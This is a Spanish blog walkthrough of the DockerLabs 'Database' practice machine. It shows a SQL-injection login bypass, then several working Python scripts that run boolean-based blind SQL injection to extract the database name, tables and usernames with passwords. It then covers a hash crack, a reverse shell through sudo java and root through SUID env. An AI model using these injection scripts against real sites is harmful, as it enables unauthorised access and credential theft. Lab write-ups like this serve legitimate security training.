Database
Que tal lord & lady
El día de hoy traigo para ustedes una nueva resolución de maquina de la plataforma de https://dockerlabs.es, la maquina Database.
Esta maquina es creada por el mismisimo Pingüino de Mario, tiene una dificultad media y es la maquina elegida para hackear y romper el día de hoy.
Requisitos previos:
- Tener configurado al menos una virtual como Kali o Parrot (link aquí)
Write Up maquina Database #dockerlabs.es
Reconocimiento
Ping, IP y SO:
Enumeración
Servicios y versiones
[Opcional]
Como ya se nos esta haciendo costumbre, vamos a ejecutar, así es los scripts de vulnerabilidades de nmap...
Bien por lo pronto tenemos 4 puertos:
Puerto 22 - Open SSH 8.9p1
Puerto 80 - Apache httpd 2.4.52
Vamos a ejecutarnos nuestro tradicional whatweb:
Whatweb:
Sition + Wappalizer:
Tenemos un panel de login
Esto me gusta mucho, una cosa que podríamos intentar es tal ves un RCE, o un XSS o tal ves SQLi.
Vámonos en orden...
Fuzzing
Esto es típico en sitios web, vamos a ver si encontramos algo:
De entrada, casi inmediatamente que ejecutmos nuestro hermoso fuzzing, encontramos 2 recursos, uno que ya sabíamos que ibamois a tener y ademas, un config.php...
Vamos a ver que encontramos?
Bueno parece que no hay nada, aunque yo intentaría también con wfuzz buscar tal ves algún parámetro...
Vamos hacerlo en lo que seguimos buscando y enumerando la parte web...
Bueno, no hemos conseguido nada, pero es una buena practica intentar algo así, buscar parámetros con wfuzz...
SQLi
Pero por supuesto que existen herramientas automatizadas como sqlmap para realizar una tarea como esta pero, como nos gusta hacerlo, haremos este ataque de forma manual...
Vamos a comenzar a jugar ...
Vaya!
Parece ser que los tiros van por aquí, vamos a continuar...
Vamos a utilizar BurpSuite para poder realizar esto de forma más cómoda:Ya encontramos cuantas columnas tenemos en el query actual, son 2
Login valido
Como ya sabemos que el campo vulnerable es el name, algo que podemos hacer es lo siguiente:
Damos enter y ...
Ojo
Hemos pasado la validación de login sin saber una contraseña valida!
Además, hemos conseguido algo valioso, tenemos el usuario de dylan!
Esto obviamente lo debemos documentar
¿Qué más podemos hacer?
Dado que no tenemos una aplicación con al cual poder "jugar", vamos a extraer información de la base de datos utilizando el SQLi que tenemos y podemos explotar...
¿Como lo vamos hacer?
Bueno, dado a que no tenemos como tal como ver un resultado de nuestro ataque SQLi, podemos realizar 2 cosas, una basada en condiciones y otra basada en tiempo
Vamos a utilizar basado en condiciones, es también llamado "Boolean-based blind SQL injection".
Armando nuestro payload
Para poder automatizar con bash o python un ataque de SQLi a ciegas basado en condiciones debemos armar primero nuestra base, para ellos vamos a jugar un poquito con la consulta para poder, por ejemplo obtener el nombre de la base de datos...
En la consulta anterior, básicamente lo que esta haciendo es
"a ver login/programa/base de datos whatever, ve y fíjate si mi usuario es 'admin1' ó valida que la primera letra de la base de datos comience con la letra 'r'...?, si?
-base de datos: si bebe, no es valido tu usuario mugroso 'admin1' peeero, la primer la primera letra de la base de datos actual si es 'r'"
Con este principio podemos obtener el nombre de la base de datos.
Hay varias formas de hacerlo, vamos hacerlo por ahora con python...
Preparando programa en python para extraer nombre de la base de datos
Vale
Dado el ejercicio que hicimos en Burpsuite del ejemplo anterior, hemos creado el primer template de nuestro programa en python sqli_dababase.py
Vamos a ejecutarlo y deberíamos ver el resultado en pantalla:
Como vamos a estar haciendo uso de la librería pwn, hay que instalarla...
Una vez instalada, intentamos ejecutar nuevamente...
Explotación
Vale dado algunos errores de sintaxis, así quedo al final el programita template:
Ejecutamos:
Ajustamos el programa para poder obtener la base de datos...
Bien, al final el programa quedo así
Vale te dejo el script mejor aquí (actualizado):
import requests
import signal
import sys
import time
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n\n")
sys.exit(1)
# Ctrol+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
main_url = "http://172.17.0.2/index.php"
characters = string.printable
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraidos")
extracted_info = ""
#Variables locales
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
cookies = {'PHPSESSID':'9ks34c04d3mgkusq24gfuv3lin'}
for position in range(1,50):
for character in characters:
data = "name=admin1' OR (substring(database(),%d,1))='%s';&password=Admin123&submit=" % (position,character)
r = requests.post(main_url, data=data, headers=headers, cookies=cookies)
if 'Bienvenido' in r.text:
#print("OK")
extracted_info += character
p2.status(extracted_info)
break
#else:
# print("KO")
if __name__ == '__main__':
makeSQLi()
Ejecutamos:
Si, si lo se, no es perfecto pero oye!
Funciona
Ya tenemos nuestro nombre de la base de datos... "register"
Ya con esto vamos a obtener tablas y columnas, para posteriormente obtener la info de alguna table particular...
Para extraer las tablas, el script quedo de la siguiente manera:
import requests
import signal
import sys
import time
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n\n")
sys.exit(1)
# Ctrol+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
main_url = "http://172.17.0.2/index.php"
#characters = string.printable
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraidos")
extracted_info = ""
#Variables locales
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
cookies = {'PHPSESSID':'9ks34c04d3mgkusq24gfuv3lin'}
for position in range(1,250):
for character in range(33,126):
data = "name=name=admin1' OR (select ascii(substring(group_concat(table_name),%d,1)) from information_schema.tables where table_schema='register')=%d -- -;&password=Admin123&submit=" % (position,character)
r = requests.post(main_url, data=data, headers=headers, cookies=cookies)
#print(data)
#print(r.text)
if 'Bienvenido' in r.text:
#print("OK")
extracted_info += chr(character)
p2.status(extracted_info)
break
#else:
# print("KO")
if __name__ == '__main__':
makeSQLi()
Ejecutamos:
Hemos conseguido la tabla "users"
...
Después de no haber obtenido bien los datos, tuve que hacer unos ajustes al script de tablas y columnas, el script de columnas quedo de la siguiente manera:
import requests
import signal
import sys
import time
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n\n")
sys.exit(1)
# Ctrol+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
main_url = "http://172.17.0.2/index.php"
#characters = string.printable
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraidos")
extracted_info = ""
#Variables locales
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
cookies = {'PHPSESSID':'9ks34c04d3mgkusq24gfuv3lin'}
for position in range(1,250):
for character in range(33,126):
data = "name=name=admin1' OR (select ascii(substring(group_concat(column_name),%d,1)) from information_schema.columns where table_schema='register' and table_name='users')=%d -- -;&password=Admin123&submit=" % (position,character)
r = requests.post(main_url, data=data, headers=headers, cookies=cookies)
#print(data)
#print(r.text)
if 'Bienvenido' in r.text:
#print("OK")
extracted_info += chr(character)
p2.status(extracted_info)
break
#else:
# print("KO")
if __name__ == '__main__':
makeSQLi()
Ejecutamos:
Bien
Ya a estas alturas, hemos conseguido lo básico de la base de datos para poder obtener la info
Vamos ajustar otro script en python para obtener los datos de la tabla users...
Bien, el script al final quedo de la siguiente manera:
import requests
import signal
import sys
import time
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n\n")
sys.exit(1)
# Ctrol+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
main_url = "http://172.17.0.2/index.php"
#characters = string.printable
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraidos")
extracted_info = ""
#Variables locales
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
cookies = {'PHPSESSID':'9ks34c04d3mgkusq24gfuv3lin'}
for position in range(1,250):
for character in range(33,126):
data = "name=name=admin1' OR (select ascii(substring(group_concat(username,0x3a,passwd),%d,1)) from register.users)=%d -- -;&password=Admin123&submit=" % (position,character)
r = requests.post(main_url, data=data, headers=headers, cookies=cookies)
#print(data)
#print(r.text)
if 'Bienvenido' in r.text:
#print("OK")
extracted_info += chr(character)
p2.status(extracted_info)
break
#else:
# print("KO")
if __name__ == '__main__':
makeSQLi()
Ejecutamos:
Vamos a guardar esta información en un documento
Algo que podemos ejecutar es intentar acceder a los otro servicio, tanto ssh como samba...
Bien el usuario dylan por ssh no sirve pero si por samba...
En el recurso shared obtuvimos el archivo augustus.txt
Este valor pasándolo por crackstation nos indica que es un md5 y que el valor es "lovely"
Esto pudiera tratarse de una contraseña, asi que vamos a intentar conectarnos ahora por ssh
Al principio intente usar esta contraseña para el usuario dylan pero al final se me ocurrió con el mismo nombre del archivo, así que si, estamos dentro...
Para llevar un control, actualizamos nuestro archivo de credenciales
Post-Explotación
Vamos a pasearnos un poco en el sistema...
Bien, ahora sabemos que tenemos 3 usuarios, augustus que es onde estamos ahora, bob y dylan, de este ultimo ya sabíamos pero no tenemos una credencial valida, todavia...
Sudoers
Interesante, como augustus podemos ejecutar java como el usuario dylan...
Algo que podmeos intentar es una revershel
Según la pagina de revshells podemos obtener una shell reversa utilizando el siguiente código:
Nos ponemos en escucha en nuestra maquina atacante:
Ejecutamos:
Nos paseamos un poco con el usuario de dylan:
Tenemos un archivo algo ... interesante en la carpeta de dylan...
SUID
Buscando un poco mas por los permisos, vemos que tenemos el bit SUID para algunos binarios...
El que me interesa de momento es /usr/bin/env
Según gtfobins
...podríamos ejecutar lo siguiente para escalar privilegios, intentamos:
Somos root!
Conclusiones
Definitivamente para mi, siempre es divertido jugar con scripts en python para poder extraer información de bases de datos a partir de SQLi.
Esta maquina definitivamente es una de las más divertidas que he hecho, dedicar un buen tiempo para encontrar una inyección SQL me deja con gran sabor de boca, ademas que la movida en java también me hizo batallar un poco y la escalada, como siempre, fabulosa.
Espero te haya gustado esta resolución.
Yo te leo en la siguiente maquinita o publicación.
Saludos.
Comentarios
Publicar un comentario